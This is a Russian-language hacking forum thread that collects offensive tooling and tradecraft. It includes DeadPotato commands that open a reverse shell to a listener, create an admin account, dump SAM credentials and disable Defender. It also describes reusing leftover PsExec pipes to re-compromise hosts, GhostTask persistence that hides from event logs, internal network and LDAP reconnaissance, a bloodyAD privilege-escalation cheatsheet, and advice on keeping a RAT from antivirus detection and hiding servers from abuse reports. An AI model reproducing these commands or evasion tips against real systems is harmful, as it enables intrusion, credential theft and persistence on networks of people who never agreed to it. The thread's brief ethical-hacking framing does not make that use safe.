Утилиты для работы в сетях

  • Автор темы Автор темы student
  • Дата начала Дата начала

student

New member
Что касаемо бэкапов. Если вы провели аудит и нашли чувствительную информацию, которую в последствии нужно передать заказчику (если вам дали разрешение) мы ж все таки этичные хакеры, а не х*й кто=)))) То проще всего сначала на сервере заархивировать необходимые файлы используя aes256+salt или любой другой алгоритм надежный. А далее уже можно передать этот архив в облако. Для этого можно использовать бакеты. Просто обывателю наверное не понятно что такое бакет. Иными словами - это контейнер для хранения объектов. Объекты иными словами - это наши файлы. Если используется s3, то это значит формат ключ значение. Ключ - это путь до нашего файла, а значение содержимое. Как-то так.

https://wasabi.com/try-free - есть пробный период. Достаточно просто зарегать учетку и вы сможете пользоваться 30 дней бесплатно, исходящий траффик бесплатный.
cloudflare R2 тоже нормальная темка, но вот только вам придется потратить пару соток рублей чтобы вам ввели карту иностранную для получения доступа к созданию бакетам и апишке. Исходящий траффик тоже бесплатный.

Используйте restic или rclone. Конфигурацию настроить не сложно.

Что касаемо обычных облачных сервисов, то рекомендую mega.nz если вы что-то загружаете на этот форум то лучше используйте его, а не какие нибудь dropmefiles, где удаляются данные.

https://developers.cloudflare.com/r2/examples/rclone/ - как настроить rclone для r2 cloudflare. Предельно просто и понятно.
https://docs.wasabi.com/docs/how-do-i-use-rclone-with-wasabi - как настроить rcloce конфиг для wassabi.

И да хакеры используют R2 если что=) https://xakep.ru/2023/08/17/cloudflare-r2-phishing/
 
cloudflare - это гигант, услугами которого пользуются как злоумышленники(хакеры) так и простые работяги, чтобы защитить свои ресурсы. Любой адекватный хацкер должен спрятать надежно айпи за клаудом, чтобы хрен кто не мог накидать абузов хостеру, пусть сначала найдет кому писать.

https://github.com/cloudflare/cloudflared - есть вот такая херовина от клауда. Создается туннель и вас не просканит какой нибудь шодан или ценсус, напрямую по айпи нельзя будет ходить вне сети клауда. Такие вот дела. Но я не сторонник подобных скриптов. Можно тоже самое сделать куда проще и хотя бы понимать будешь че ты делаешь, а не тупо скачивать готовые скрипты.

https://www.cloudflare.com/ru-ru/ips/ - берем эти пуллы айпишников. Вся инфра клауда работает через них, R2 в том числе. nginx конфиг настраиваем так, чтобы доступ был ток через эти ip. gpt попросите он сделает все за вас=). Это L7. Дополнительно настройте iptables, но лучше конечно другой современный фаервол чтобы порты все были закрыты, кроме пулла клауда. SSH разрешите ток для своего айпи.

Готово. Теперь вы знаете почему вы не можете найти реальный айпи адрес сайта, если даже просканируете весь интернет. Любой нормальный сисадмин позаботиться, потратит день чтобы с этим разобраться.

И да, думаю теперь понятно почему многие организации используют cloudflare R2. Дело в том, что если сервер ходит через пулл айпи клауда, то какой нибудь вассаби юзать не вариант, надо порт открывать и тд вообщем не безопасно=) проще р2 использовать раз уж настроили все по сети клауда
 
student сказал(а):
cloudflare - это гигант, услугами которого пользуются как злоумышленники(хакеры) так и простые работяги, чтобы защитить свои ресурсы. Любой адекватный хацкер должен спрятать надежно айпи за клаудом, чтобы хрен кто не мог накидать абузов хостеру, пусть сначала найдет кому писать.

https://github.com/cloudflare/cloudflared - есть вот такая херовина от клауда. Создается туннель и вас не просканит какой нибудь шодан или ценсус, напрямую по айпи нельзя будет ходить вне сети клауда. Такие вот дела. Но я не сторонник подобных скриптов. Можно тоже самое сделать куда проще и хотя бы понимать будешь че ты делаешь, а не тупо скачивать готовые скрипты.

https://www.cloudflare.com/ru-ru/ips/ - берем эти пуллы айпишников. Вся инфра клауда работает через них, R2 в том числе. nginx конфиг настраиваем так, чтобы доступ был ток через эти ip. gpt попросите он сделает все за вас=). Это L7. Дополнительно настройте iptables, но лучше конечно другой современный фаервол чтобы порты все были закрыты, кроме пулла клауда. SSH разрешите ток для своего айпи.

Готово. Теперь вы знаете почему вы не можете найти реальный айпи адрес сайта, если даже просканируете весь интернет. Любой нормальный сисадмин позаботиться, потратит день чтобы с этим разобраться.

И да, думаю теперь понятно почему многие организации используют cloudflare R2. Дело в том, что если сервер ходит через пулл айпи клауда, то какой нибудь вассаби юзать не вариант, надо порт открывать и тд вообщем не безопасно=) проще р2 использовать раз уж настроили все по сети клауда
Нажмите, чтобы раскрыть...
Все известные C2 уже давно известны всем AV и при попытке залить какой либо shell, получим alert по системе + SOC, который бдит. Так что как вы написали выше берем cloudflare и устраиваем свои танцы с бубном с shell, даже если там стоит простой Defender. Это просто как дополнение.
 
Еще один "картофельный" вариант - https://github.com/lypd0/DeadPotato (подсказал куратор на курсе codeby,netO
deadpotato.exe -cmd "whoami"
deadpotato.exe -rev 192.168.10.30:9001
deadpotato.exe -exe paylod.exe
deadpotato.exe -newadmin adm:pass
deadpotato.exe -shell
deadpotato.exe -mimi sam
deadpotato.exe -defender off
deadpotato.exe -sharphound
 
student сказал(а):
Еще один "картофельный" вариант - https://github.com/lypd0/DeadPotato (подсказал куратор на курсе codeby,netO
deadpotato.exe -cmd "whoami"
deadpotato.exe -rev 192.168.10.30:9001
deadpotato.exe -exe paylod.exe
deadpotato.exe -newadmin adm:pass
deadpotato.exe -shell
deadpotato.exe -mimi sam
deadpotato.exe -defender off
deadpotato.exe -sharphound
Нажмите, чтобы раскрыть...
жаль, что в моем случае это не сработает, AV его грохнет при первом же старте...
 
PsExec загружает на удаленный хост исполняемый файл 10-ти летней давности и создает службу, которая его запускает от имени системы - для этого и необходимы права администратора.


Сам файл в свою очередь это бинарь из https://github.com/kavika13/RemCom/, хранимый в виде хекса в Импакете.


При запуске он поднимает пайп RemCom_Communication и после подключения со стороны Импакета к этому пайпу создается еще три: RemCom_stdin*, RemCom_stdout* и RemCom_stderr*, через которые уже и ведется дальнейшее выполнение команд и передача вывода. При нормальном выходе (через exit) будет выполнена зачистка - остановлена служба, удалены файл и служба, в результате чего пайпы удалятся.





Однако если из командной оболочки выйти "классическим" способом через Ctrl+C, то зачистка не происходит - в системе продолжает висеть запущенный сервис и наш бинарь. Будет висеть до следующей перезагрузки компа, поскольку сервис создается без автостарта.





Это можно использовать для повторной компрометации машины с низкопривилегированной УЗ.


Готовый скрипт лежит тут: https://github.com/MzHmO/psexec_noinstall


По сути, мы просто пропускаем этап установки службы и сразу переходим к работе с имеющимися пайпами.





Для обнаружения уязвимых хостов написал модуль для NetExec - https://github.com/beaverdreamer/nxc-modules


Принцип работы прост: мы с предоставленной учеткой запрашиваем доступные пайпы (через IPC$) и выводим сообщение, если в списке видим RemCom_communication.





Стоит подсветить, что это имя пайпа можно изменить, и если оно было изменено, то этот модуль не сработает.





Учитывая, что сервис не поднимается после рестарта ПК, то имеет смысл запускать на инфраструктуре после недавнего пентеста, либо на скоупе постоянно работающих серверов.
 
Иногда что-нибудь ценное можно найти на шарах (файлы с кредами, персональные данные, какие-то пруфы реализации целей пентеста), для этих целей можно использовать скрапперы:


PowerView:


Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*

Либо Snaffler (C#) (https://github.com/SnaffCon/Snaffler)

Python: https://github.com/blacklanternsecurity/MANSPIDER

Оба умеют искать и по названию файлов, и по содержимому.

С точки зрения OpSec это шумно - куча коннектов и попыток аутентификации на все шары в сети, а потому такой подход пойдет, когда нет задачи скрываться.

Более скрытный вариант использования - это запускать инструменты для локального поиска файлов. С точки зрения событий это будет просто поиск файлов в системе.

./Snaffler.exe -i C:\ -s

Ссылки:

- https://www.thehacker.recipes/ad/movement/credentials/dumping/network-shares
- Порт снаффлера на питон https://github.com/asmtlab/snafflepy
 
Закрепление через планировщик задач не ново, за отслеживание изменений в тасках отвечают события 4698-4702.


Нам необходимы права системы.

Функционал реализован в https://github.com/netero1010/GhostTask:


- Создание скрытых задач без генерации событий

- Изменение существующих задач без генерации событий

- Удаленное и локальное выполнение

- Выполнение в контексте C2 через исполнение PE в памяти (memexec)


Например, если мы хотим создать задачу, которая будет выполняться от имени Administrator каждую минуту:


GhostTask.exe localhost add beaver "cmd.exe" "/c notepad.exe" Beaver.lab\Administrator second 60
 
1735857112260.jpeg
 
Предположим, что мы попали в сеть в какой-то рандомный сегмент сети на не доменную машину и нам необходимо понять куда дальше двигаться.


Есть вариант просканировать все частные диапазоны, но это недостаточно детально, поэтому первоочередной задачей - понять какие сегменты вообще живые.



Способы ниже основаны на предположениях и гипотезах, так что нужно адаптировать под конкретную ситуацию - я лишь расскажу о своих подходах. Под OPSec адаптируйте сами =))


Из тех способов, что известны мне и использую:


- ARP


- Поиск шлюза и определение других живых сетей при помощи Ping-Scan'a


- Скан типовых портов по всей сети


- DNS (recon + transfer zone)

ARP - используем для разведки в широковещательном сегменте сети.


Можно воспользоваться https://github.com/royhills/arp-scan для сканирования локального сегмента сети. В качестве результата получим перечень живых хостов: их IP- и ARP-адреса, производителя (по маку). Полезно проверять не только сегмент, в котором вы находитесь прям сейчас (условный 192.168.1.0/24), но и другие известные диапазоны сети. Если сети разделены только логически (но подключены в один порт), можно встретить другие устройства, встречал такое в сегментах АСУ ТП.


Пример команды:


arp-scan -I eth0 192.168.86.0/24


Поиск шлюза и определение других живых сетей при помощи Ping-Scan'a


Так же можно узнать в сетевой конфигурации адрес шлюза (часто используют либо .1, либо .254 в случае с /24 сетью) и просканировать всю сеть (частные диапазоны) на предмет наличия ответа по ICMP. Намеренно опускаю случаи более мелких сетей, потому что тут можно закопаться.


В результате можно считать, что там где прилетел пинг - эти сегменты живые и далее сканировать их целенаправленно.


Для примера если все шлюзы расположены на .1:


nmap -sn -n -oN all_gws.txt 192.168.0-255.1 10.0-255.0-255.1 172.16-31.0.1


Альтернативный способ предыдущему - сканировать всю сеть на типовые порты. Например, 22, 53, 80, 445.


Времязатратнее, но сработает в том случае, если ICMP-пакеты внутри сети ограничены (редкий случай, но все же).


Для всех трех частных диапазонов тебе понадобится примерно 5 часов на сканирование одного порта при рейте 1000 p/s


Можно сделать либо массканом (локальную сеть не просканирует), либо при помощи Nmap с настройками на оптимизацию скорости:


nmap -Pn --privileged --min-rtt-timeout 50ms --initial-rtt-timeout 300ms --max-retries 2 --host-timeout 15m -p T:80,22 10.0.0.0/8





Если все же во время поисков портов удалось найти какой-то DNS сервер (или он прилетел по DHCP), то хватаем https://github.com/darkoperator/dnsrecon и используем его для:


- Попытки выгрузки зоны (можно взять либо из домена поиска в DHCP, либо из имен компьютеров в локальной сети):


dns -d <domain> -t axfr


- Перебора PTR записей при помощи следующей команды:


dnsrecon -n <Адрес DNS-сервера> -r 192.168.0.0/16
 
github.com

GitHub - m8sec/pymeta: Utility to download and extract document metadata from an organization. This technique can be used to identify: domains, usernames, software/version numbers and naming conventions.

Utility to download and extract document metadata from an organization. This technique can be used to identify: domains, usernames, software/version numbers and naming conventions. - m8sec/pymeta
github.com
github.com


Этот скрипт в качестве вводных данных берет адрес домена, далее идет в поисковики и ищет через дорки на нем файлы, далее их скачивает и собирает метаданные в csv файл. Поддерживает форматы pdf, xls, xlsx, csv, doc, docx, ppt, pptx.



github.com

GitHub - ElevenPaths/FOCA: Tool to find metadata and hidden information in the documents.

Tool to find metadata and hidden information in the documents. - ElevenPaths/FOCA
github.com
github.com


Эта тулза смотрит один или несколько файлов и проводит анализ (работает только на винде). Поддерживает форматы Microsoft Office, Open Office, и PDF.
 
Сборник типовых LDAP-запросов, которые можно использовать для разведки корпоративной инфре.


Пригодится для ручного сбора информации, если есть корректная УЗ или LDAP доступен без аутентификации.


Из тех что показались интересными:


- Получение перечня серверов (имена хостов)


- Поиск аккаунтов с SPN записями, УЗ для керберостинга.


- Различные виды делегирования


- УЗ с отключенным параметром Pre-Auth в Kerberos (ASREP-Roast)


- Получение перечня УЗ без пароля (перезаписывает групповую политику) - эти УЗ будут иметь пустые пароли.


- Получение перечня УЗ, которым необходимо сменить пароль после входа. Такие УЗ, как правило, имеют стандартный пароль или протухшний пароль.


Всю эту информацию собирает бладхаунд, часть этой информации можно получить в графическом интерфейсе, а часть - в результате разбора JSON-файлов. Эта информация полезна тогда, когда автоматизированный способ не подходит.

Статья с примерами запросов:


www.politoinc.com

LDAP Queries for Offensive and Defensive Operations

The intention of this post is to provide basic queries for targeted AD DS information gathering used in penetration testing. The reader can
www.politoinc.com
www.politoinc.com



В этой статьей чуть глубже разобраны механизмы формирования запросов к LDAP вручную (ну и примеры тоже, куда без них):


posts.specterops.io

An Introduction to Manual Active Directory Querying with Dsquery and Ldapsearch

Introduction
posts.specterops.io
posts.specterops.io


В этой статье рассказано про УЗ с пустыми паролями:


specopssoft.com

Find AD accounts using Password-Not-Required (blank password)

An AD user account with password-not-required or blank password is easy to compromise. What tools can be used to find these accounts?
specopssoft.com
specopssoft.com
 
student сказал(а):
ну там открытый исходный код наверное можно обфусцировать
Нажмите, чтобы раскрыть...
и к стати по поводу обфурскации, хотелось еще добавить, что она не всегда работает корректно, а в большенстве случаев AV распознает обфурскацию и убивает shell.
как говориться знаю из опыта.
 
raspberry сказал(а):
можно, только сигнатуру еще ни кто не отменял.
Нажмите, чтобы раскрыть...
Еще самое главное, чтобы никто не заливал на VT файл, а пользовался check zilla и более приватными сервисами. Так как после таких манипуляций, спустя полчаса, твоя крыса будет палыхать
 
BloodyAD — это инфраструктура повышения привилегий Active Directory
bloodyAD - это швейцарский армейский нож для повышения привилегий Active Directory

Этот инструмент может выполнять определенные вызовы LDAP к контроллеру домена для выполнения AD privesc.
bloodyADподдерживает аутентификацию с использованием открытых паролей, pass-the-hash, pass-the-ticket или сертификатов, а также привязывается к службам LDAP контроллера домена для выполнения AD privesc.

Поддерживается обмен конфиденциальной информацией без LDAPS.

Он также предназначен для прозрачного использования с прокси-сервером SOCKS.

https://github.com/CravateRouge/bloodyAD есть по умолчанию в репозиториях kali linux


BloodyAD Cheatsheet

Retrieve User Information​

bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username

Add User To Group​

bloodyAD --host $dc -d $domain -u $username -p $password add groupMember $group_name $member_to_add

Change Password​

bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password

Give User GenericAll Rights​

bloodyAD --host $dc -d $domain -u $username -p $password add genericAll $DN $target_username

WriteOwner​

bloodyAD --host $dc -d $domain -u $username -p $password set owner $target_group $target_username

ReadGMSAPassword​

bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username --attr msDS-ManagedPassword

Enable a Disabled Account​

bloodyAD --host $dc -d $domain -u $username -p $password remove uac $target_username -f ACCOUNTDISABLE

Add The TRUSTED_TO_AUTH_FOR_DELEGATION Flag​

bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f TRUSTED_TO_AUTH_FOR_DELEGATION

Notes​

  • To use Kerberos, obtain a TGT and then pass -k instead of providing a username and password
  • You can pass a hash instead of the password

Resources​

Machines To Practice​

  • Redelegate (Vulnlab)
  • Vintage (HackTheBox)
  • Infiltrator (HackTheBox)
  • Rebound (HackTheBox)
  • Absolute (HackTheBox)
  • Certified (HackTheBox)
 
Назад
Сверху